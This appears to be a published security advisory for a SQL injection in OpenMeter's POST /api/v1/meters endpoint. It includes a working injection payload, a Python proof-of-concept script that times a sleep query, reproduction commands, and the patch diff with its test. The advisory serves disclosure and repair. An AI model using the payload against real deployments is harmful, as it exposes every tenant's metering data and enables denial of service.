OpenMeter: SQL injection through meter creation
Description
Summary
An authenticated tenant can inject arbitrary SQL through the valueProperty or groupBy fields of POST /api/v1/meters. The injection passes the application's JSONPath validation check and executes against the shared ClickHouse database, which contains event data for all tenants with no row-level security. Any authenticated tenant can read or write every other tenant's metering data.
Details
openmeter/streaming/clickhouse/utils_query.go:15 builds a ClickHouse SELECT by interpolating user input with fmt.Sprintf:
sb.Select(fmt.Sprintf("JSON_VALUE('{}', '%s')", sqlbuilder.Escape(d.jsonPath)))
sqlbuilder.Escape() (go-sqlbuilder v1.40.2) only replaces $ → $$ to prevent collisions with the library's own argument placeholders. It does not escape single quotes. A single quote in the input closes the string literal, and subsequent tokens execute as raw SQL. sb.Build() always returns an empty args slice — the query is never parameterized.
The payload must be prefixed with a valid JSONPath expression (e.g. $.foo) because ClickHouse raises error code 36 (BAD_ARGUMENTS) on an empty JSONPath string, which ValidateJSONPath silently treats as "invalid JSONPath" and returns early — before the injected branch can execute.
Working payload: `` $.foo') UNION ALL SELECT toString(sleep(3)) FROM system.one -- ``
Generated SQL: ``sql SELECT JSON_VALUE('{}', '$.foo') UNION ALL SELECT toString(sleep(3)) FROM system.one --' ``
Fix — replace fmt.Sprintf string interpolation with sb.Var(), which appends the value to the builder's args list and emits a ? placeholder:
-sb.Select(fmt.Sprintf("JSON_VALUE('{}', '%s')", sqlbuilder.Escape(d.jsonPath)))
+sb.Select(fmt.Sprintf("JSON_VALUE('{}', %s)", sb.Var(d.jsonPath)))
PoC
poc.py:
import json, time, uuid
from urllib.request import Request, urlopen
SLEEP = 3
API = "http://localhost:48888"
PAYLOAD = f"$.foo') UNION ALL SELECT toString(sleep({SLEEP})) FROM system.one --"
def post_meter(value_property):
body = json.dumps({
"slug": f"poc_{uuid.uuid4().hex[:8]}",
"eventType": "x",
"aggregation": "SUM",
"valueProperty": value_property,
}).encode()
req = Request(f"{API}/api/v1/meters", data=body,
headers={"Content-Type": "application/json"}, method="POST")
t0 = time.monotonic()
with urlopen(req, timeout=SLEEP + 10) as r:
return r.status, time.monotonic() - t0
_, baseline = post_meter("$.tokens")
status, elapsed = post_meter(PAYLOAD)
print(f"baseline : {baseline:.3f}s")
print(f"injected : {elapsed:.3f}s (HTTP {status})")
print(f"result : sleep({SLEEP}) {'CONFIRMED' if elapsed >= baseline + SLEEP - 0.5 else 'not confirmed'}")
docker compose up -d
until curl -sf http://localhost:48888/api/v1/meters > /dev/null; do sleep 3; done
python3 poc.py
Expected output: `` baseline : 0.036s injected : 3.031s (HTTP 200) result : sleep(3) CONFIRMED ``
Impact
SQL injection via POST /api/v1/meters (valueProperty or groupBy). Requires a valid tenant API key; no other preconditions. The shared openmeter.om_events table has no row-level security — a successful injection gives unrestricted read access to all tenants' event subjects, types, payloads, and timestamps. Write access is subject to the ClickHouse user's grants. Denial of service via resource-exhausting queries is also possible.
Attribution
This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by Shoshana Makinen at Anvil Secure in collaboration with Anthropic Research.
For CVE credits and public acknowledgments: Anvil Secure in collaboration with Claude and Anthropic Research
Affected products
2- Range: =1.40.2
Patches
16ce29e743165fix(sec): sql injection in validate jsonpath query (CVE-2026-8462) (#4383)
2 files changed · +22 −11
openmeter/streaming/clickhouse/utils_query.go+4 −11 modified@@ -1,20 +1,13 @@ package clickhouse -import ( - "fmt" - - "github.com/huandu/go-sqlbuilder" -) +import "github.com/huandu/go-sqlbuilder" type validateJsonPathQuery struct { jsonPath string } +// See: https://github.com/huandu/go-sqlbuilder#freestyle-builder func (d validateJsonPathQuery) toSQL() (string, []interface{}) { - sb := sqlbuilder.ClickHouse.NewSelectBuilder() - sb.Select(fmt.Sprintf("JSON_VALUE('{}', '%s')", sqlbuilder.Escape(d.jsonPath))) - - sql, args := sb.Build() - - return sql, args + return sqlbuilder.Buildf("SELECT JSON_VALUE('{}', %v)", d.jsonPath). + BuildWithFlavor(sqlbuilder.ClickHouse) }
openmeter/streaming/clickhouse/utils_query_test.go+18 −0 added@@ -0,0 +1,18 @@ +package clickhouse + +import ( + "testing" + + "github.com/stretchr/testify/assert" +) + +func Test_ValidateJsonPathQuery(t *testing.T) { + query, args := validateJsonPathQuery{ + jsonPath: "$.foo.bar", + }.toSQL() + + assert.Equal(t, `SELECT JSON_VALUE('{}', ?)`, query) + assert.Equal(t, []interface{}{ + "$.foo.bar", + }, args) +}
Vulnerability mechanics
Root cause
"User-supplied input for JSONPath is directly interpolated into a ClickHouse SQL query instead of being parameterized."
Attack vector
An authenticated tenant can send a POST request to `/api/v1/meters` with a crafted `valueProperty` or `groupBy` field. This field must contain a valid JSONPath prefix (e.g., `$.foo`) followed by malicious SQL. The application's JSONPath validation does not prevent SQL injection, allowing arbitrary SQL execution against the shared ClickHouse database [ref_id=1].
Affected code
The vulnerability exists in `openmeter/streaming/clickhouse/utils_query.go` where user input from `d.jsonPath` is formatted into a SQL query using `fmt.Sprintf` and `sqlbuilder.Escape` [ref_id=1]. The fix modifies this function to use parameterized queries via `sqlbuilder.Buildf` [patch_id=4828900].
What the fix does
The patch replaces the use of `fmt.Sprintf` for string interpolation with `sqlbuilder.Buildf` and `sb.Var()`. This change ensures that user-supplied `jsonPath` values are treated as parameters rather than being directly embedded into the SQL query string. By using parameterized queries, the database correctly interprets the input as data, preventing the execution of injected SQL commands [patch_id=4828900].
Preconditions
- authThe attacker must have a valid tenant API key.
- inputThe `valueProperty` or `groupBy` field in a POST request to `/api/v1/meters` must contain a malicious JSONPath string.
Reproduction
```shell docker compose up -d until curl -sf http://localhost:48888/api/v1/meters > /dev/null; do sleep 3; done python3 poc.py ```
Generated on Jun 4, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
5- github.com/advisories/GHSA-wc3v-3457-c8cmghsaADVISORY
- github.com/openmeterio/openmeter/commit/6ce29e743165890c10346f4c71d5bf79f1ecaf6fghsa
- github.com/openmeterio/openmeter/pull/4383ghsa
- github.com/openmeterio/openmeter/releases/tag/v1.0.0-beta.228ghsa
- github.com/openmeterio/openmeter/security/advisories/GHSA-wc3v-3457-c8cmghsa
News mentions
0No linked articles in our index yet.